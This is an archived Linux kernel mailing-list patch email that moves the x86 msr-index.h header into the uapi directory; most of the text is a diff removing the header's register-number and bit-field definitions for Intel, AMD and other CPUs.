Original-Received: from elsass.dev.6wind.com (unknown [10.16.0.149])
        by proxy.6wind.com (Postfix) with ESMTPS id D8FC3254ED;
        Fri,  6 Jan 2017 10:44:08 +0100 (CET)
Original-Received: from root by elsass.dev.6wind.com with local (Exim 4.84_2)
        (envelope-from <root@elsass.dev.6wind.com>)
        id 1cPR49-0004sg-6O; Fri, 06 Jan 2017 10:44:05 +0100
X-Mailer: git-send-email 2.8.1
In-Reply-To: <1483695839-18660-1-git-send-email-nicolas.dichtel@6wind.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2381507 gmane.linux.kbuild.devel:16251 gmane.linux.documentation:44042 gmane.linux.ports.alpha:3996 gmane.linux.kernel.arc:1966 gmane.linux.ports.arm.kernel:548345 gmane.linux.ports.hexagon:1072 gmane.linux.ports.ia64:27523 gmane.linux.kernel.metag:1199 gmane.linux.ports.mips.general:57376 gmane.linux.ports.parisc:27147 gmane.linux.ports.ppc64.devel:137021 gmane.linux.ports.sh.devel:54908 gmane.linux.ports.sparc:24267 gmane.linux.kernel.cross-arch:34663 gmane.comp.video.dri.devel:175521 gmane.linux.network:448447 gmane.linux.drivers.video-input-infrastructure:111661 gmane.linux.kernel.mmc:41935 gmane.comp.security.firewalls.netfilter.devel:66780 gmane.linux.nfs:81284 gmane.linux.raid:55278 gmane.linux.kernel.spi.devel:26044 gmane.linux.drivers.mtd:71096 gmane.linux.drivers.rdma:45163 gmane.linux.scsi.open-fcoe.devel:12985 gmane.linux.alsa.devel:162875
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2381507>

This header file is exported, thus move it to uapi.

Signed-off-by: Nicolas Dichtel <nicolas.dichtel@6wind.com>
---
 arch/x86/include/asm/msr-index.h      | 694 +--------------------------------
 arch/x86/include/uapi/asm/msr-index.h | 698 ++++++++++++++++++++++++++++++++++
 2 files changed, 699 insertions(+), 693 deletions(-)
 create mode 100644 arch/x86/include/uapi/asm/msr-index.h

diff --git a/arch/x86/include/asm/msr-index.h b/arch/x86/include/asm/msr-index.h
index 710273c617b8..1baa0628da74 100644
--- a/arch/x86/include/asm/msr-index.h
+++ b/arch/x86/include/asm/msr-index.h
@@ -1,698 +1,6 @@
 #ifndef _ASM_X86_MSR_INDEX_H
 #define _ASM_X86_MSR_INDEX_H
 
-/*
- * CPU model specific register (MSR) numbers.
- *
- * Do not add new entries to this file unless the definitions are shared
- * between multiple compilation units.
- */
-
-/* x86-64 specific MSRs */
-#define MSR_EFER		0xc0000080 /* extended feature register */
-#define MSR_STAR		0xc0000081 /* legacy mode SYSCALL target */
-#define MSR_LSTAR		0xc0000082 /* long mode SYSCALL target */
-#define MSR_CSTAR		0xc0000083 /* compat mode SYSCALL target */
-#define MSR_SYSCALL_MASK	0xc0000084 /* EFLAGS mask for syscall */
-#define MSR_FS_BASE		0xc0000100 /* 64bit FS base */
-#define MSR_GS_BASE		0xc0000101 /* 64bit GS base */
-#define MSR_KERNEL_GS_BASE	0xc0000102 /* SwapGS GS shadow */
-#define MSR_TSC_AUX		0xc0000103 /* Auxiliary TSC */
-
-/* EFER bits: */
-#define _EFER_SCE		0  /* SYSCALL/SYSRET */
-#define _EFER_LME		8  /* Long mode enable */
-#define _EFER_LMA		10 /* Long mode active (read-only) */
-#define _EFER_NX		11 /* No execute enable */
-#define _EFER_SVME		12 /* Enable virtualization */
-#define _EFER_LMSLE		13 /* Long Mode Segment Limit Enable */
-#define _EFER_FFXSR		14 /* Enable Fast FXSAVE/FXRSTOR */
-
-#define EFER_SCE		(1<<_EFER_SCE)
-#define EFER_LME		(1<<_EFER_LME)
-#define EFER_LMA		(1<<_EFER_LMA)
-#define EFER_NX			(1<<_EFER_NX)
-#define EFER_SVME		(1<<_EFER_SVME)
-#define EFER_LMSLE		(1<<_EFER_LMSLE)
-#define EFER_FFXSR		(1<<_EFER_FFXSR)
-
-/* Intel MSRs. Some also available on other CPUs */
-
-#define MSR_PPIN_CTL			0x0000004e
-#define MSR_PPIN			0x0000004f
-
-#define MSR_IA32_PERFCTR0		0x000000c1
-#define MSR_IA32_PERFCTR1		0x000000c2
-#define MSR_FSB_FREQ			0x000000cd
-#define MSR_PLATFORM_INFO		0x000000ce
-
-#define MSR_NHM_SNB_PKG_CST_CFG_CTL	0x000000e2
-#define NHM_C3_AUTO_DEMOTE		(1UL << 25)
-#define NHM_C1_AUTO_DEMOTE		(1UL << 26)
-#define ATM_LNC_C6_AUTO_DEMOTE		(1UL << 25)
-#define SNB_C1_AUTO_UNDEMOTE		(1UL << 27)
-#define SNB_C3_AUTO_UNDEMOTE		(1UL << 28)
-
-#define MSR_MTRRcap			0x000000fe
-#define MSR_IA32_BBL_CR_CTL		0x00000119
-#define MSR_IA32_BBL_CR_CTL3		0x0000011e
-
-#define MSR_IA32_SYSENTER_CS		0x00000174
-#define MSR_IA32_SYSENTER_ESP		0x00000175
-#define MSR_IA32_SYSENTER_EIP		0x00000176
-
-#define MSR_IA32_MCG_CAP		0x00000179
-#define MSR_IA32_MCG_STATUS		0x0000017a
-#define MSR_IA32_MCG_CTL		0x0000017b
-#define MSR_IA32_MCG_EXT_CTL		0x000004d0
-
-#define MSR_OFFCORE_RSP_0		0x000001a6
-#define MSR_OFFCORE_RSP_1		0x000001a7
-#define MSR_TURBO_RATIO_LIMIT		0x000001ad
-#define MSR_TURBO_RATIO_LIMIT1		0x000001ae
-#define MSR_TURBO_RATIO_LIMIT2		0x000001af
-
-#define MSR_LBR_SELECT			0x000001c8
-#define MSR_LBR_TOS			0x000001c9
-#define MSR_LBR_NHM_FROM		0x00000680
-#define MSR_LBR_NHM_TO			0x000006c0
-#define MSR_LBR_CORE_FROM		0x00000040
-#define MSR_LBR_CORE_TO			0x00000060
-
-#define MSR_LBR_INFO_0			0x00000dc0 /* ... 0xddf for _31 */
-#define LBR_INFO_MISPRED		BIT_ULL(63)
-#define LBR_INFO_IN_TX			BIT_ULL(62)
-#define LBR_INFO_ABORT			BIT_ULL(61)
-#define LBR_INFO_CYCLES			0xffff
-
-#define MSR_IA32_PEBS_ENABLE		0x000003f1
-#define MSR_IA32_DS_AREA		0x00000600
-#define MSR_IA32_PERF_CAPABILITIES	0x00000345
-#define MSR_PEBS_LD_LAT_THRESHOLD	0x000003f6
-
-#define MSR_IA32_RTIT_CTL		0x00000570
-#define MSR_IA32_RTIT_STATUS		0x00000571
-#define MSR_IA32_RTIT_ADDR0_A		0x00000580
-#define MSR_IA32_RTIT_ADDR0_B		0x00000581
-#define MSR_IA32_RTIT_ADDR1_A		0x00000582
-#define MSR_IA32_RTIT_ADDR1_B		0x00000583
-#define MSR_IA32_RTIT_ADDR2_A		0x00000584
-#define MSR_IA32_RTIT_ADDR2_B		0x00000585
-#define MSR_IA32_RTIT_ADDR3_A		0x00000586
-#define MSR_IA32_RTIT_ADDR3_B		0x00000587
-#define MSR_IA32_RTIT_CR3_MATCH		0x00000572
-#define MSR_IA32_RTIT_OUTPUT_BASE	0x00000560
-#define MSR_IA32_RTIT_OUTPUT_MASK	0x00000561
-
-#define MSR_MTRRfix64K_00000		0x00000250
-#define MSR_MTRRfix16K_80000		0x00000258
-#define MSR_MTRRfix16K_A0000		0x00000259
-#define MSR_MTRRfix4K_C0000		0x00000268
-#define MSR_MTRRfix4K_C8000		0x00000269
-#define MSR_MTRRfix4K_D0000		0x0000026a
-#define MSR_MTRRfix4K_D8000		0x0000026b
-#define MSR_MTRRfix4K_E0000		0x0000026c
-#define MSR_MTRRfix4K_E8000		0x0000026d
-#define MSR_MTRRfix4K_F0000		0x0000026e
-#define MSR_MTRRfix4K_F8000		0x0000026f
-#define MSR_MTRRdefType			0x000002ff
-
-#define MSR_IA32_CR_PAT			0x00000277
-
-#define MSR_IA32_DEBUGCTLMSR		0x000001d9
-#define MSR_IA32_LASTBRANCHFROMIP	0x000001db
-#define MSR_IA32_LASTBRANCHTOIP		0x000001dc
-#define MSR_IA32_LASTINTFROMIP		0x000001dd
-#define MSR_IA32_LASTINTTOIP		0x000001de
-
-/* DEBUGCTLMSR bits (others vary by model): */
-#define DEBUGCTLMSR_LBR			(1UL <<  0) /* last branch recording */
-#define DEBUGCTLMSR_BTF			(1UL <<  1) /* single-step on branches */
-#define DEBUGCTLMSR_TR			(1UL <<  6)
-#define DEBUGCTLMSR_BTS			(1UL <<  7)
-#define DEBUGCTLMSR_BTINT		(1UL <<  8)
-#define DEBUGCTLMSR_BTS_OFF_OS		(1UL <<  9)
-#define DEBUGCTLMSR_BTS_OFF_USR		(1UL << 10)
-#define DEBUGCTLMSR_FREEZE_LBRS_ON_PMI	(1UL << 11)
-
-#define MSR_PEBS_FRONTEND		0x000003f7
-
-#define MSR_IA32_POWER_CTL		0x000001fc
-
-#define MSR_IA32_MC0_CTL		0x00000400
-#define MSR_IA32_MC0_STATUS		0x00000401
-#define MSR_IA32_MC0_ADDR		0x00000402
-#define MSR_IA32_MC0_MISC		0x00000403
-
-/* C-state Residency Counters */
-#define MSR_PKG_C3_RESIDENCY		0x000003f8
-#define MSR_PKG_C6_RESIDENCY		0x000003f9
-#define MSR_PKG_C7_RESIDENCY		0x000003fa
-#define MSR_CORE_C3_RESIDENCY		0x000003fc
-#define MSR_CORE_C6_RESIDENCY		0x000003fd
-#define MSR_CORE_C7_RESIDENCY		0x000003fe
-#define MSR_KNL_CORE_C6_RESIDENCY	0x000003ff
-#define MSR_PKG_C2_RESIDENCY		0x0000060d
-#define MSR_PKG_C8_RESIDENCY		0x00000630
-#define MSR_PKG_C9_RESIDENCY		0x00000631
-#define MSR_PKG_C10_RESIDENCY		0x00000632
-
-/* Interrupt Response Limit */
-#define MSR_PKGC3_IRTL			0x0000060a
-#define MSR_PKGC6_IRTL			0x0000060b
-#define MSR_PKGC7_IRTL			0x0000060c
-#define MSR_PKGC8_IRTL			0x00000633
-#define MSR_PKGC9_IRTL			0x00000634
-#define MSR_PKGC10_IRTL			0x00000635
-
-/* Run Time Average Power Limiting (RAPL) Interface */
-
-#define MSR_RAPL_POWER_UNIT		0x00000606
-
-#define MSR_PKG_POWER_LIMIT		0x00000610
-#define MSR_PKG_ENERGY_STATUS		0x00000611
-#define MSR_PKG_PERF_STATUS		0x00000613
-#define MSR_PKG_POWER_INFO		0x00000614
-
-#define MSR_DRAM_POWER_LIMIT		0x00000618
-#define MSR_DRAM_ENERGY_STATUS		0x00000619
-#define MSR_DRAM_PERF_STATUS		0x0000061b
-#define MSR_DRAM_POWER_INFO		0x0000061c
-
-#define MSR_PP0_POWER_LIMIT		0x00000638
-#define MSR_PP0_ENERGY_STATUS		0x00000639
-#define MSR_PP0_POLICY			0x0000063a
-#define MSR_PP0_PERF_STATUS		0x0000063b
-
-#define MSR_PP1_POWER_LIMIT		0x00000640
-#define MSR_PP1_ENERGY_STATUS		0x00000641
-#define MSR_PP1_POLICY			0x00000642
-
-/* Config TDP MSRs */
-#define MSR_CONFIG_TDP_NOMINAL		0x00000648
-#define MSR_CONFIG_TDP_LEVEL_1		0x00000649
-#define MSR_CONFIG_TDP_LEVEL_2		0x0000064A
-#define MSR_CONFIG_TDP_CONTROL		0x0000064B
-#define MSR_TURBO_ACTIVATION_RATIO	0x0000064C
-
-#define MSR_PLATFORM_ENERGY_STATUS	0x0000064D
-
-#define MSR_PKG_WEIGHTED_CORE_C0_RES	0x00000658
-#define MSR_PKG_ANY_CORE_C0_RES		0x00000659
-#define MSR_PKG_ANY_GFXE_C0_RES		0x0000065A
-#define MSR_PKG_BOTH_CORE_GFXE_C0_RES	0x0000065B
-
-#define MSR_CORE_C1_RES			0x00000660
-
-#define MSR_CC6_DEMOTION_POLICY_CONFIG	0x00000668
-#define MSR_MC6_DEMOTION_POLICY_CONFIG	0x00000669
-
-#define MSR_CORE_PERF_LIMIT_REASONS	0x00000690
-#define MSR_GFX_PERF_LIMIT_REASONS	0x000006B0
-#define MSR_RING_PERF_LIMIT_REASONS	0x000006B1
-
-/* Hardware P state interface */
-#define MSR_PPERF			0x0000064e
-#define MSR_PERF_LIMIT_REASONS		0x0000064f
-#define MSR_PM_ENABLE			0x00000770
-#define MSR_HWP_CAPABILITIES		0x00000771
-#define MSR_HWP_REQUEST_PKG		0x00000772
-#define MSR_HWP_INTERRUPT		0x00000773
-#define MSR_HWP_REQUEST 		0x00000774
-#define MSR_HWP_STATUS			0x00000777
-
-/* CPUID.6.EAX */
-#define HWP_BASE_BIT			(1<<7)
-#define HWP_NOTIFICATIONS_BIT		(1<<8)
-#define HWP_ACTIVITY_WINDOW_BIT		(1<<9)
-#define HWP_ENERGY_PERF_PREFERENCE_BIT	(1<<10)
-#define HWP_PACKAGE_LEVEL_REQUEST_BIT	(1<<11)
-
-/* IA32_HWP_CAPABILITIES */
-#define HWP_HIGHEST_PERF(x)		(((x) >> 0) & 0xff)
-#define HWP_GUARANTEED_PERF(x)		(((x) >> 8) & 0xff)
-#define HWP_MOSTEFFICIENT_PERF(x)	(((x) >> 16) & 0xff)
-#define HWP_LOWEST_PERF(x)		(((x) >> 24) & 0xff)
-
-/* IA32_HWP_REQUEST */
-#define HWP_MIN_PERF(x) 		(x & 0xff)
-#define HWP_MAX_PERF(x) 		((x & 0xff) << 8)
-#define HWP_DESIRED_PERF(x)		((x & 0xff) << 16)
-#define HWP_ENERGY_PERF_PREFERENCE(x)	((x & 0xff) << 24)
-#define HWP_ACTIVITY_WINDOW(x)		((x & 0xff3) << 32)
-#define HWP_PACKAGE_CONTROL(x)		((x & 0x1) << 42)
-
-/* IA32_HWP_STATUS */
-#define HWP_GUARANTEED_CHANGE(x)	(x & 0x1)
-#define HWP_EXCURSION_TO_MINIMUM(x)	(x & 0x4)
-
-/* IA32_HWP_INTERRUPT */
-#define HWP_CHANGE_TO_GUARANTEED_INT(x)	(x & 0x1)
-#define HWP_EXCURSION_TO_MINIMUM_INT(x)	(x & 0x2)
-
-#define MSR_AMD64_MC0_MASK		0xc0010044
-
-#define MSR_IA32_MCx_CTL(x)		(MSR_IA32_MC0_CTL + 4*(x))
-#define MSR_IA32_MCx_STATUS(x)		(MSR_IA32_MC0_STATUS + 4*(x))
-#define MSR_IA32_MCx_ADDR(x)		(MSR_IA32_MC0_ADDR + 4*(x))
-#define MSR_IA32_MCx_MISC(x)		(MSR_IA32_MC0_MISC + 4*(x))
-
-#define MSR_AMD64_MCx_MASK(x)		(MSR_AMD64_MC0_MASK + (x))
-
-/* These are consecutive and not in the normal 4er MCE bank block */
-#define MSR_IA32_MC0_CTL2		0x00000280
-#define MSR_IA32_MCx_CTL2(x)		(MSR_IA32_MC0_CTL2 + (x))
-
-#define MSR_P6_PERFCTR0			0x000000c1
-#define MSR_P6_PERFCTR1			0x000000c2
-#define MSR_P6_EVNTSEL0			0x00000186
-#define MSR_P6_EVNTSEL1			0x00000187
-
-#define MSR_KNC_PERFCTR0               0x00000020
-#define MSR_KNC_PERFCTR1               0x00000021
-#define MSR_KNC_EVNTSEL0               0x00000028
-#define MSR_KNC_EVNTSEL1               0x00000029
-
-/* Alternative perfctr range with full access. */
-#define MSR_IA32_PMC0			0x000004c1
-
-/* AMD64 MSRs. Not complete. See the architecture manual for a more
-   complete list. */
-
-#define MSR_AMD64_PATCH_LEVEL		0x0000008b
-#define MSR_AMD64_TSC_RATIO		0xc0000104
-#define MSR_AMD64_NB_CFG		0xc001001f
-#define MSR_AMD64_PATCH_LOADER		0xc0010020
-#define MSR_AMD64_OSVW_ID_LENGTH	0xc0010140
-#define MSR_AMD64_OSVW_STATUS		0xc0010141
-#define MSR_AMD64_LS_CFG		0xc0011020
-#define MSR_AMD64_DC_CFG		0xc0011022
-#define MSR_AMD64_BU_CFG2		0xc001102a
-#define MSR_AMD64_IBSFETCHCTL		0xc0011030
-#define MSR_AMD64_IBSFETCHLINAD		0xc0011031
-#define MSR_AMD64_IBSFETCHPHYSAD	0xc0011032
-#define MSR_AMD64_IBSFETCH_REG_COUNT	3
-#define MSR_AMD64_IBSFETCH_REG_MASK	((1UL<<MSR_AMD64_IBSFETCH_REG_COUNT)-1)
-#define MSR_AMD64_IBSOPCTL		0xc0011033
-#define MSR_AMD64_IBSOPRIP		0xc0011034
-#define MSR_AMD64_IBSOPDATA		0xc0011035
-#define MSR_AMD64_IBSOPDATA2		0xc0011036
-#define MSR_AMD64_IBSOPDATA3		0xc0011037
-#define MSR_AMD64_IBSDCLINAD		0xc0011038
-#define MSR_AMD64_IBSDCPHYSAD		0xc0011039
-#define MSR_AMD64_IBSOP_REG_COUNT	7
-#define MSR_AMD64_IBSOP_REG_MASK	((1UL<<MSR_AMD64_IBSOP_REG_COUNT)-1)
-#define MSR_AMD64_IBSCTL		0xc001103a
-#define MSR_AMD64_IBSBRTARGET		0xc001103b
-#define MSR_AMD64_IBSOPDATA4		0xc001103d
-#define MSR_AMD64_IBS_REG_COUNT_MAX	8 /* includes MSR_AMD64_IBSBRTARGET */
-
-/* Fam 17h MSRs */
-#define MSR_F17H_IRPERF			0xc00000e9
-
-/* Fam 16h MSRs */
-#define MSR_F16H_L2I_PERF_CTL		0xc0010230
-#define MSR_F16H_L2I_PERF_CTR		0xc0010231
-#define MSR_F16H_DR1_ADDR_MASK		0xc0011019
-#define MSR_F16H_DR2_ADDR_MASK		0xc001101a
-#define MSR_F16H_DR3_ADDR_MASK		0xc001101b
-#define MSR_F16H_DR0_ADDR_MASK		0xc0011027
-
-/* Fam 15h MSRs */
-#define MSR_F15H_PERF_CTL		0xc0010200
-#define MSR_F15H_PERF_CTR		0xc0010201
-#define MSR_F15H_NB_PERF_CTL		0xc0010240
-#define MSR_F15H_NB_PERF_CTR		0xc0010241
-#define MSR_F15H_PTSC			0xc0010280
-#define MSR_F15H_IC_CFG			0xc0011021
-
-/* Fam 10h MSRs */
-#define MSR_FAM10H_MMIO_CONF_BASE	0xc0010058
-#define FAM10H_MMIO_CONF_ENABLE		(1<<0)
-#define FAM10H_MMIO_CONF_BUSRANGE_MASK	0xf
-#define FAM10H_MMIO_CONF_BUSRANGE_SHIFT 2
-#define FAM10H_MMIO_CONF_BASE_MASK	0xfffffffULL
-#define FAM10H_MMIO_CONF_BASE_SHIFT	20
-#define MSR_FAM10H_NODE_ID		0xc001100c
-
-/* K8 MSRs */
-#define MSR_K8_TOP_MEM1			0xc001001a
-#define MSR_K8_TOP_MEM2			0xc001001d
-#define MSR_K8_SYSCFG			0xc0010010
-#define MSR_K8_INT_PENDING_MSG		0xc0010055
-/* C1E active bits in int pending message */
-#define K8_INTP_C1E_ACTIVE_MASK		0x18000000
-#define MSR_K8_TSEG_ADDR		0xc0010112
-#define MSR_K8_TSEG_MASK		0xc0010113
-#define K8_MTRRFIXRANGE_DRAM_ENABLE	0x00040000 /* MtrrFixDramEn bit    */
-#define K8_MTRRFIXRANGE_DRAM_MODIFY	0x00080000 /* MtrrFixDramModEn bit */
-#define K8_MTRR_RDMEM_WRMEM_MASK	0x18181818 /* Mask: RdMem|WrMem    */
-
-/* K7 MSRs */
-#define MSR_K7_EVNTSEL0			0xc0010000
-#define MSR_K7_PERFCTR0			0xc0010004
-#define MSR_K7_EVNTSEL1			0xc0010001
-#define MSR_K7_PERFCTR1			0xc0010005
-#define MSR_K7_EVNTSEL2			0xc0010002
-#define MSR_K7_PERFCTR2			0xc0010006
-#define MSR_K7_EVNTSEL3			0xc0010003
-#define MSR_K7_PERFCTR3			0xc0010007
-#define MSR_K7_CLK_CTL			0xc001001b
-#define MSR_K7_HWCR			0xc0010015
-#define MSR_K7_FID_VID_CTL		0xc0010041
-#define MSR_K7_FID_VID_STATUS		0xc0010042
-
-/* K6 MSRs */
-#define MSR_K6_WHCR			0xc0000082
-#define MSR_K6_UWCCR			0xc0000085
-#define MSR_K6_EPMR			0xc0000086
-#define MSR_K6_PSOR			0xc0000087
-#define MSR_K6_PFIR			0xc0000088
-
-/* Centaur-Hauls/IDT defined MSRs. */
-#define MSR_IDT_FCR1			0x00000107
-#define MSR_IDT_FCR2			0x00000108
-#define MSR_IDT_FCR3			0x00000109
-#define MSR_IDT_FCR4			0x0000010a
-
-#define MSR_IDT_MCR0			0x00000110
-#define MSR_IDT_MCR1			0x00000111
-#define MSR_IDT_MCR2			0x00000112
-#define MSR_IDT_MCR3			0x00000113
-#define MSR_IDT_MCR4			0x00000114
-#define MSR_IDT_MCR5			0x00000115
-#define MSR_IDT_MCR6			0x00000116
-#define MSR_IDT_MCR7			0x00000117
-#define MSR_IDT_MCR_CTRL		0x00000120
-
-/* VIA Cyrix defined MSRs*/
-#define MSR_VIA_FCR			0x00001107
-#define MSR_VIA_LONGHAUL		0x0000110a
-#define MSR_VIA_RNG			0x0000110b
-#define MSR_VIA_BCR2			0x00001147
-
-/* Transmeta defined MSRs */
-#define MSR_TMTA_LONGRUN_CTRL		0x80868010
-#define MSR_TMTA_LONGRUN_FLAGS		0x80868011
-#define MSR_TMTA_LRTI_READOUT		0x80868018
-#define MSR_TMTA_LRTI_VOLT_MHZ		0x8086801a
-
-/* Intel defined MSRs. */
-#define MSR_IA32_P5_MC_ADDR		0x00000000
-#define MSR_IA32_P5_MC_TYPE		0x00000001
-#define MSR_IA32_TSC			0x00000010
-#define MSR_IA32_PLATFORM_ID		0x00000017
-#define MSR_IA32_EBL_CR_POWERON		0x0000002a
-#define MSR_EBC_FREQUENCY_ID		0x0000002c
-#define MSR_SMI_COUNT			0x00000034
-#define MSR_IA32_FEATURE_CONTROL        0x0000003a
-#define MSR_IA32_TSC_ADJUST             0x0000003b
-#define MSR_IA32_BNDCFGS		0x00000d90
-
-#define MSR_IA32_XSS			0x00000da0
-
-#define FEATURE_CONTROL_LOCKED				(1<<0)
-#define FEATURE_CONTROL_VMXON_ENABLED_INSIDE_SMX	(1<<1)
-#define FEATURE_CONTROL_VMXON_ENABLED_OUTSIDE_SMX	(1<<2)
-#define FEATURE_CONTROL_LMCE				(1<<20)
-
-#define MSR_IA32_APICBASE		0x0000001b
-#define MSR_IA32_APICBASE_BSP		(1<<8)
-#define MSR_IA32_APICBASE_ENABLE	(1<<11)
-#define MSR_IA32_APICBASE_BASE		(0xfffff<<12)
-
-#define MSR_IA32_TSCDEADLINE		0x000006e0
-
-#define MSR_IA32_UCODE_WRITE		0x00000079
-#define MSR_IA32_UCODE_REV		0x0000008b
-
-#define MSR_IA32_SMM_MONITOR_CTL	0x0000009b
-#define MSR_IA32_SMBASE			0x0000009e
-
-#define MSR_IA32_PERF_STATUS		0x00000198
-#define MSR_IA32_PERF_CTL		0x00000199
-#define INTEL_PERF_CTL_MASK		0xffff
-#define MSR_AMD_PSTATE_DEF_BASE		0xc0010064
-#define MSR_AMD_PERF_STATUS		0xc0010063
-#define MSR_AMD_PERF_CTL		0xc0010062
-
-#define MSR_IA32_MPERF			0x000000e7
-#define MSR_IA32_APERF			0x000000e8
-
-#define MSR_IA32_THERM_CONTROL		0x0000019a
-#define MSR_IA32_THERM_INTERRUPT	0x0000019b
-
-#define THERM_INT_HIGH_ENABLE		(1 << 0)
-#define THERM_INT_LOW_ENABLE		(1 << 1)
-#define THERM_INT_PLN_ENABLE		(1 << 24)
-
-#define MSR_IA32_THERM_STATUS		0x0000019c
-
-#define THERM_STATUS_PROCHOT		(1 << 0)
-#define THERM_STATUS_POWER_LIMIT	(1 << 10)
-
-#define MSR_THERM2_CTL			0x0000019d
-
-#define MSR_THERM2_CTL_TM_SELECT	(1ULL << 16)
-
-#define MSR_IA32_MISC_ENABLE		0x000001a0
-
-#define MSR_IA32_TEMPERATURE_TARGET	0x000001a2
-
-#define MSR_MISC_PWR_MGMT		0x000001aa
-
-#define MSR_IA32_ENERGY_PERF_BIAS	0x000001b0
-#define ENERGY_PERF_BIAS_PERFORMANCE	0
-#define ENERGY_PERF_BIAS_NORMAL		6
-#define ENERGY_PERF_BIAS_POWERSAVE	15
-
-#define MSR_IA32_PACKAGE_THERM_STATUS		0x000001b1
-
-#define PACKAGE_THERM_STATUS_PROCHOT		(1 << 0)
-#define PACKAGE_THERM_STATUS_POWER_LIMIT	(1 << 10)
-
-#define MSR_IA32_PACKAGE_THERM_INTERRUPT	0x000001b2
-
-#define PACKAGE_THERM_INT_HIGH_ENABLE		(1 << 0)
-#define PACKAGE_THERM_INT_LOW_ENABLE		(1 << 1)
-#define PACKAGE_THERM_INT_PLN_ENABLE		(1 << 24)
-
-/* Thermal Thresholds Support */
-#define THERM_INT_THRESHOLD0_ENABLE    (1 << 15)
-#define THERM_SHIFT_THRESHOLD0        8
-#define THERM_MASK_THRESHOLD0          (0x7f << THERM_SHIFT_THRESHOLD0)
-#define THERM_INT_THRESHOLD1_ENABLE    (1 << 23)
-#define THERM_SHIFT_THRESHOLD1        16
-#define THERM_MASK_THRESHOLD1          (0x7f << THERM_SHIFT_THRESHOLD1)
-#define THERM_STATUS_THRESHOLD0        (1 << 6)
-#define THERM_LOG_THRESHOLD0           (1 << 7)
-#define THERM_STATUS_THRESHOLD1        (1 << 8)
-#define THERM_LOG_THRESHOLD1           (1 << 9)
-
-/* MISC_ENABLE bits: architectural */
-#define MSR_IA32_MISC_ENABLE_FAST_STRING_BIT		0
-#define MSR_IA32_MISC_ENABLE_FAST_STRING		(1ULL << MSR_IA32_MISC_ENABLE_FAST_STRING_BIT)
-#define MSR_IA32_MISC_ENABLE_TCC_BIT			1
-#define MSR_IA32_MISC_ENABLE_TCC			(1ULL << MSR_IA32_MISC_ENABLE_TCC_BIT)
-#define MSR_IA32_MISC_ENABLE_EMON_BIT			7
-#define MSR_IA32_MISC_ENABLE_EMON			(1ULL << MSR_IA32_MISC_ENABLE_EMON_BIT)
-#define MSR_IA32_MISC_ENABLE_BTS_UNAVAIL_BIT		11
-#define MSR_IA32_MISC_ENABLE_BTS_UNAVAIL		(1ULL << MSR_IA32_MISC_ENABLE_BTS_UNAVAIL_BIT)
-#define MSR_IA32_MISC_ENABLE_PEBS_UNAVAIL_BIT		12
-#define MSR_IA32_MISC_ENABLE_PEBS_UNAVAIL		(1ULL << MSR_IA32_MISC_ENABLE_PEBS_UNAVAIL_BIT)
-#define MSR_IA32_MISC_ENABLE_ENHANCED_SPEEDSTEP_BIT	16
-#define MSR_IA32_MISC_ENABLE_ENHANCED_SPEEDSTEP		(1ULL << MSR_IA32_MISC_ENABLE_ENHANCED_SPEEDSTEP_BIT)
-#define MSR_IA32_MISC_ENABLE_MWAIT_BIT			18
-#define MSR_IA32_MISC_ENABLE_MWAIT			(1ULL << MSR_IA32_MISC_ENABLE_MWAIT_BIT)
-#define MSR_IA32_MISC_ENABLE_LIMIT_CPUID_BIT		22
-#define MSR_IA32_MISC_ENABLE_LIMIT_CPUID		(1ULL << MSR_IA32_MISC_ENABLE_LIMIT_CPUID_BIT)
-#define MSR_IA32_MISC_ENABLE_XTPR_DISABLE_BIT		23
-#define MSR_IA32_MISC_ENABLE_XTPR_DISABLE		(1ULL << MSR_IA32_MISC_ENABLE_XTPR_DISABLE_BIT)
-#define MSR_IA32_MISC_ENABLE_XD_DISABLE_BIT		34
-#define MSR_IA32_MISC_ENABLE_XD_DISABLE			(1ULL << MSR_IA32_MISC_ENABLE_XD_DISABLE_BIT)
-
-/* MISC_ENABLE bits: model-specific, meaning may vary from core to core */
-#define MSR_IA32_MISC_ENABLE_X87_COMPAT_BIT		2
-#define MSR_IA32_MISC_ENABLE_X87_COMPAT			(1ULL << MSR_IA32_MISC_ENABLE_X87_COMPAT_BIT)
-#define MSR_IA32_MISC_ENABLE_TM1_BIT			3
-#define MSR_IA32_MISC_ENABLE_TM1			(1ULL << MSR_IA32_MISC_ENABLE_TM1_BIT)
-#define MSR_IA32_MISC_ENABLE_SPLIT_LOCK_DISABLE_BIT	4
-#define MSR_IA32_MISC_ENABLE_SPLIT_LOCK_DISABLE		(1ULL << MSR_IA32_MISC_ENABLE_SPLIT_LOCK_DISABLE_BIT)
-#define MSR_IA32_MISC_ENABLE_L3CACHE_DISABLE_BIT	6
-#define MSR_IA32_MISC_ENABLE_L3CACHE_DISABLE		(1ULL << MSR_IA32_MISC_ENABLE_L3CACHE_DISABLE_BIT)
-#define MSR_IA32_MISC_ENABLE_SUPPRESS_LOCK_BIT		8
-#define MSR_IA32_MISC_ENABLE_SUPPRESS_LOCK		(1ULL << MSR_IA32_MISC_ENABLE_SUPPRESS_LOCK_BIT)
-#define MSR_IA32_MISC_ENABLE_PREFETCH_DISABLE_BIT	9
-#define MSR_IA32_MISC_ENABLE_PREFETCH_DISABLE		(1ULL << MSR_IA32_MISC_ENABLE_PREFETCH_DISABLE_BIT)
-#define MSR_IA32_MISC_ENABLE_FERR_BIT			10
-#define MSR_IA32_MISC_ENABLE_FERR			(1ULL << MSR_IA32_MISC_ENABLE_FERR_BIT)
-#define MSR_IA32_MISC_ENABLE_FERR_MULTIPLEX_BIT		10
-#define MSR_IA32_MISC_ENABLE_FERR_MULTIPLEX		(1ULL << MSR_IA32_MISC_ENABLE_FERR_MULTIPLEX_BIT)
-#define MSR_IA32_MISC_ENABLE_TM2_BIT			13
-#define MSR_IA32_MISC_ENABLE_TM2			(1ULL << MSR_IA32_MISC_ENABLE_TM2_BIT)
-#define MSR_IA32_MISC_ENABLE_ADJ_PREF_DISABLE_BIT	19
-#define MSR_IA32_MISC_ENABLE_ADJ_PREF_DISABLE		(1ULL << MSR_IA32_MISC_ENABLE_ADJ_PREF_DISABLE_BIT)
-#define MSR_IA32_MISC_ENABLE_SPEEDSTEP_LOCK_BIT		20
-#define MSR_IA32_MISC_ENABLE_SPEEDSTEP_LOCK		(1ULL << MSR_IA32_MISC_ENABLE_SPEEDSTEP_LOCK_BIT)
